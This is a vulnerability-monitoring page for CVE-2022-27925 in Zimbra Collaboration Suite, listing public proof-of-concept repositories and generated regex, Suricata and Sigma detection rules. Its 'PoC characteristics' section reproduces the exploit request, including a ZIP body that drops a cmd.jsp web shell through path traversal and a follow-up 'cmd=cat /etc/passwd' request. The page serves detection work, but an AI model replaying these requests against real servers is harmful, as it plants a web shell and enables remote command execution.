PoC Monitor
← All CVEs
CVE-2022-27925published 20 Apr 2022 23:23 UTCData: JSON · API

Synacor Zimbra Collaboration Suite (ZCS)

Synacor Zimbra Collaboration Suite (ZCS) Arbitrary File Upload Vulnerability

Zimbra Collaboration (aka ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. An authenticated user with administrator rights has the ability to upload arbitrary files to the system, leading to directory traversal.

First public PoC 114 daysafter publication · 12 Aug 2022
Public PoCs1210 on GitHub · 2 Exploit-DB, Metasploit or nuclei
CVSS7.2high · scored by CISA ADP · CWE-22
CISA KEV 11 Aug 2022113 days after publication · ransomware use known

Timeline

Days relative to CVE publication
t=0+14+28+42+56+70+84+98+112CVE published20 Apr 2022 · t = 0Added to CISA KEV11 Aug 2022 · t+113dFirst public PoC12 Aug 2022 · t+114d

First public PoC 114 days after publication; added to CISA KEV 113 days after publication. First PoC: vnhacker1337/CVE-2022-27925-PoC (created 12 Aug 2022, found by us: backfilled).

PoC repositories

Found on GitHub.

10 PoCs · 4 pending · 2 informational

PoCs 10
RepositoryCreatedStarsAssessment
vnhacker1337/CVE-2022-27925-PoC 12 Aug 2022 +114 d 65 PoC
huahuatzt/CVE-2022-27925 15 Aug 2022 +116 d 0 PoC
miko550/CVE-2022-27925 19 Aug 2022 +120 d 0 PoC
navokus/CVE-2022-27925 20 Aug 2022 +121 d 0 PoC
Josexv1/CVE-2022-27925 20 Aug 2022 +122 d 43 PoC
Chocapikk/CVE-2022-27925-Revshell 26 Aug 2022 +128 d 5 PoC
akincibor/CVE-2022-27925 12 Sep 2022 +144 d 3 Scanner
touchmycrazyredhat/CVE-2022-27925-Revshell 17 Sep 2022 +150 d 1 PoC
Flags · score 15
  • owner account created less than 30 days before the repo

Below the suspicion threshold (50); does not change the assessment.

sh4den/CVE-2022-27925 1 Oct 2022 +163 d 18 PoC
onlyHerold22/CVE-2022-27925-PoC 19 Oct 2022 +182 d 0 PoC
Flags · score 15
  • owner account created less than 30 days before the repo

Below the suspicion threshold (50); does not change the assessment.

Pending 4
RepositoryCreatedStarsAssessment
Inplex-sys/CVE-2022-27925 unknown 0 Pending · repository unavailable (HTTP 404)
SystemVll/CVE-2022-27925 unknown 0 Pending · repository unavailable (HTTP 404)
lolminerxmrig/CVE-2022-27925-Revshell unknown 0 Pending · repository unavailable (HTTP 404)
mohamedbenchikh/CVE-2022-27925 unknown 0 Pending · repository unavailable (HTTP 404)
Informational 2
RepositoryCreatedStarsAssessment
jam620/Zimbra 25 Sep 2022 +158 d 8 Informational · write-up
sanan2004/CVE-2022-27925 19 Aug 2024 +2.3 y 0 Informational · write-up

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.

PoC characteristics

What to hunt for in your logs · from 10 PoC repos

POST /service/extension/backup/mboximport

Query
account-name=admin ow=2 no-switch=1 append=1 account-status=1 ow=cmd
Key headers
Accept: */*
Body markers
PK\x03\x04\x14\x00\x00\x00\x00\x00\x06\x03\rU\x82\xb0*\xc7=\x03\x00\x00=\x03\x00\x000\x00\x00\x00../../../../mailboxd/webapps/zimbraAdmin/cmd.jsp<%@ page import="java.util.*,java.io.*"%>\n<%\n//\n// JSP_KIT\n//\n// cmd.jsp = Command Execution (unix)\n//\n// by: Unknown\n// modified: 27/06/2003\n//\n%>\n L\x9d)7I\xffnu\x01\xceE\x86=5\xca\x8b\x1a\xc6g\xcc% \x14:(pE\xfeS"\xce*1g4\xe8\xc6S\x13.\xf4\x18-\x8d\x85\x0c\xede9= \xce\xc9\xd21s\x017\x92\x17\x10\xfeA\tz#}\x8a\xc8\x01\xcbF\xac\x1a\xb1\x18-s\x9b\xa1t8\x17\xd1\xe1f\x08\x19\x0e \x1d\xf4\x93[\x12T\xe57\x98d\xd7\xa4\x0ft\x94\xb3#\x07\xf3\xe0`:\xa2\xea\x18U#\x9a\xef<\xfc\xfc\x15\xd5l\xd4\xedw\x06\xbeh\xb5\x05\xeb\xc3\xd2\x18n\x1d\xdcr\x07\x1f\xde\xdf\n\xc5\xed\x0e\xbf\xf6=\x8f\x83\xf3{\xeb\xd7\xa7\xa9$\xea\xea\x9a\x90\xf8>\xf8B\x1d\x84a<lu\xfc\xbaI\xc57I>\xb6M\xb9=6\xfe\x90\x86\x9b>S$\xe3\x88c\x0e\xafI\xfa\x97\xa6\xad\x15\x1ep\x1d"ahe\xa4\xe6%\x94\x9f"\x14\xaf\xcf.\xf8\x89{\xd3\x963\xbd\xc8^\x00PK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x06\x03\rU\x82\xb0*\xc7=\x03\x00\x00=\x03\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x81\x00\x00\x00\x00../../../../mailboxd/webapps/zimbraAdmin/cmd.jspPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x06\x03\rU\x82\xb0*\xc7=\x03\x00\x00=\x03\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x81\x8b\x03\x00\x00../../../../mailboxd/webapps/zimbraAdmin/cmd.jspPK\x01\x02\x14\x00\x14\x00\x00\x00\x08\x00\xb0\xab\x0eU\x1e\xa2\xee\xda\x05\x02\x00\x00\xd0\x03\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x16\x07\x00\x00cmd.jspPK\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00\xf1\x00\x00\x00@\t\x00\x00\x00\x00 in application/x-www-form-urlencoded
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Seen in
6 repos: Chocapikk/CVE-2022-27925-Revshell, Josexv1/CVE-2022-27925, akincibor/CVE-2022-27925, navokus/CVE-2022-27925, sh4den/CVE-2022-27925, touchmycrazyredhat/CVE-2022-27925-Revshell
Evidence
Chocapikk/CVE-2022-27925-Revshell/exp.py:63 Josexv1/CVE-2022-27925/exploit.py:52 akincibor/CVE-2022-27925/CVE-2022-27925.yaml:13 navokus/CVE-2022-27925/run.py:52 sh4den/CVE-2022-27925/main.py:77 touchmycrazyredhat/CVE-2022-27925-Revshell/exp.py:63

GET /zimbraAdmin/cmd.jsp

Query
cmd=cat /etc/passwd cmd=
Key headers
Accept: */*
Content-Type
application/x-www-form-urlencoded
Ports
8080
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Seen in
5 repos: akincibor/CVE-2022-27925, huahuatzt/CVE-2022-27925, miko550/CVE-2022-27925, onlyHerold22/CVE-2022-27925-PoC, vnhacker1337/CVE-2022-27925-PoC
Evidence
akincibor/CVE-2022-27925/CVE-2022-27925.yaml:24 huahuatzt/CVE-2022-27925/CVE-2022-27925.py:59 huahuatzt/CVE-2022-27925/CVE-2022-27925.py:69 miko550/CVE-2022-27925/CVE-2022-2925.py:44 miko550/CVE-2022-27925/CVE-2022-2925.py:60 onlyHerold22/CVE-2022-27925-PoC/zimbra-exploit.py:46

GET /zimbraAdmin/admin.bk.jsp

Query
cmd=
Seen in
1 repo: navokus/CVE-2022-27925
Evidence
navokus/CVE-2022-27925/run.py:54

GET /zimbraAdmin/balgo.jsp

Seen in
1 repo: Chocapikk/CVE-2022-27925-Revshell
Evidence
Chocapikk/CVE-2022-27925-Revshell/exp.py:77

GET /zimbraAdmin/{var}

Query
cmd=
Seen in
1 repo: sh4den/CVE-2022-27925
Evidence
sh4den/CVE-2022-27925/main.py:79

POST /service/extensio3/backup/mboximport

Query
account-name=admin account-status=1 ow=cmd
Content-Type
application/x-www-form-urlencoded
Seen in
1 repo: navokus/CVE-2022-27925
Evidence
navokus/CVE-2022-27925/run.py:50

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

POST /service/extension/backup/mboximport
(?i)^/service/extension/backup/mboximport\?(?:.*&)?account-name=admin.*ow=2.*no-switch=1.*append=1.*account-status=1.*ow=cmd
GET /zimbraAdmin/cmd.jsp
(?i)^/zimbraAdmin/cmd\.jsp\?(?:.*&)?cmd=cat /etc/passwd.*cmd=
GET //https://{var}
(?i)^//https://[^/?#]*(?:[?#].*)?$
POST /zimbraAdmin/cmd.jsp
(?i)^/zimbraAdmin/cmd\.jsp(?:[?#].*)?$
GET /zimbraAdmin/admin.bk.jsp
(?i)^/zimbraAdmin/admin\.bk\.jsp\?(?:.*&)?cmd=

Suricata

Template generated from PoC characteristics. Review before deploying.

POST /service/extension/backup/mboximport
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2022-27925 Synacor Zimbra Collaboration Suite (ZCS) exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/service/extension/backup/mboximport"; http.uri; content:"account-name=admin"; http.uri; content:"ow=2"; http.uri; content:"no-switch=1"; http.uri; content:"append=1"; http.uri; content:"account-status=1"; http.uri; content:"ow=cmd"; http.header; content:"Accept: */*"; nocase; http.request_body; content:"PK|5c|x03|5c|x04|5c|x14|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x06|5c|x03|5c|rU|5c|x82|5c|xb0*|5c|xc7=|5c|x03|5c|x00|5c|x00=|5c|x03|5c|x00|5c|x000|5c|x00|5c|x00|5c|x00../../../../mailboxd/webapps/zimbraAdmin/cmd.jsp<%@ page import=|22|java.util.*,java.io.*|22|%>|5c|n<%|5c|n//|5c|n// JSP_KIT|5c|n//|5c|n// cmd.jsp = Command Execution (unix)|5c|n//|5c|n// by: Unknown|5c|n// modified: 27/06/2003|5c|n//|5c|n%>|5c|n"; http.request_body; content:"L|5c|x9d)7I|5c|xffnu|5c|x01|5c|xceE|5c|x86=5|5c|xca|5c|x8b|5c|x1a|5c|xc6g|5c|xcc%"; http.request_body; content:"|5c|x14:(pE|5c|xfeS|22||5c|xce*1g4|5c|xe8|5c|xc6S|5c|x13.|5c|xf4|5c|x18-|5c|x8d|5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|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|xff|5c|x81|5c|x00|5c|x00|5c|x00|5c|x00../../../../mailboxd/webapps/zimbraAdmin/cmd.jspPK|5c|x01|5c|x02|5c|x14|5c|x00|5c|x14|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x06|5c|x03|5c|rU|5c|x82|5c|xb0*|5c|xc7=|5c|x03|5c|x00|5c|x00=|5c|x03|5c|x00|5c|x000|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|xff|5c|x81|5c|x8b|5c|x03|5c|x00|5c|x00../../../../mailboxd/webapps/zimbraAdmin/cmd.jspPK|5c|x01|5c|x02|5c|x14|5c|x00|5c|x14|5c|x00|5c|x00|5c|x00|5c|x08|5c|x00|5c|xb0|5c|xab|5c|x0eU|5c|x1e|5c|xa2|5c|xee|5c|xda|5c|x05|5c|x02|5c|x00|5c|x00|5c|xd0|5c|x03|5c|x00|5c|x00|5c|x07|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x00|5c|x01|5c|x00 |5c|x00|5c|x00|5c|x00|5c|x16|5c|x07|5c|x00|5c|x00cmd.jspPK|5c|x05|5c|x06|5c|x00|5c|x00|5c|x00|5c|x00|5c|x03|5c|x00|5c|x03|5c|x00|5c|xf1|5c|x00|5c|x00|5c|x00@|5c|t|5c|x00|5c|x00|5c|x00|5c|x00"; reference:url,poc.griffinguard.io/cve/CVE-2022-27925; classtype:web-application-attack; sid:9019883; rev:1;)
GET /zimbraAdmin/cmd.jsp
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2022-27925 Synacor Zimbra Collaboration Suite (ZCS) exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/zimbraAdmin/cmd.jsp"; http.uri; content:"cmd=cat /etc/passwd"; http.uri; content:"cmd="; http.header; content:"Accept: */*"; nocase; reference:url,poc.griffinguard.io/cve/CVE-2022-27925; classtype:web-application-attack; sid:9633103; rev:1;)
GET //https://{var}
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2022-27925 Synacor Zimbra Collaboration Suite (ZCS) exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"//https://"; reference:url,poc.griffinguard.io/cve/CVE-2022-27925; classtype:web-application-attack; sid:9887544; rev:1;)
POST /zimbraAdmin/cmd.jsp
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2022-27925 Synacor Zimbra Collaboration Suite (ZCS) exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/zimbraAdmin/cmd.jsp"; reference:url,poc.griffinguard.io/cve/CVE-2022-27925; classtype:web-application-attack; sid:9194081; rev:1;)
GET /zimbraAdmin/admin.bk.jsp
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2022-27925 Synacor Zimbra Collaboration Suite (ZCS) exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/zimbraAdmin/admin.bk.jsp"; http.uri; content:"cmd="; reference:url,poc.griffinguard.io/cve/CVE-2022-27925; classtype:web-application-attack; sid:9262815; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

POST /service/extension/backup/mboximport
title: Synacor Zimbra Collaboration Suite (ZCS) exploit attempt (CVE-2022-27925)
id: gg-pocmon-cve-2022-27925-9019883
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-27925. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-27925
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/service/extension/backup/mboximport'
    cs-uri-query|contains|all:
      - 'account-name=admin'
      - 'ow=2'
      - 'no-switch=1'
      - 'append=1'
      - 'account-status=1'
      - 'ow=cmd'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.27925
GET /zimbraAdmin/cmd.jsp
title: Synacor Zimbra Collaboration Suite (ZCS) exploit attempt (CVE-2022-27925)
id: gg-pocmon-cve-2022-27925-9633103
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-27925. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-27925
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/zimbraAdmin/cmd.jsp'
    cs-uri-query|contains|all:
      - 'cmd=cat /etc/passwd'
      - 'cmd='
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.27925
GET //https://{var}
title: Synacor Zimbra Collaboration Suite (ZCS) exploit attempt (CVE-2022-27925)
id: gg-pocmon-cve-2022-27925-9887544
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-27925. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-27925
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '//https://'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.27925
POST /zimbraAdmin/cmd.jsp
title: Synacor Zimbra Collaboration Suite (ZCS) exploit attempt (CVE-2022-27925)
id: gg-pocmon-cve-2022-27925-9194081
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-27925. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-27925
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/zimbraAdmin/cmd.jsp'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.27925
GET /zimbraAdmin/admin.bk.jsp
title: Synacor Zimbra Collaboration Suite (ZCS) exploit attempt (CVE-2022-27925)
id: gg-pocmon-cve-2022-27925-9262815
status: experimental
description: Request pattern taken from public PoCs for CVE-2022-27925. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2022-27925
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/zimbraAdmin/admin.bk.jsp'
    cs-uri-query|contains|all:
      - 'cmd='
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: high
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2022.27925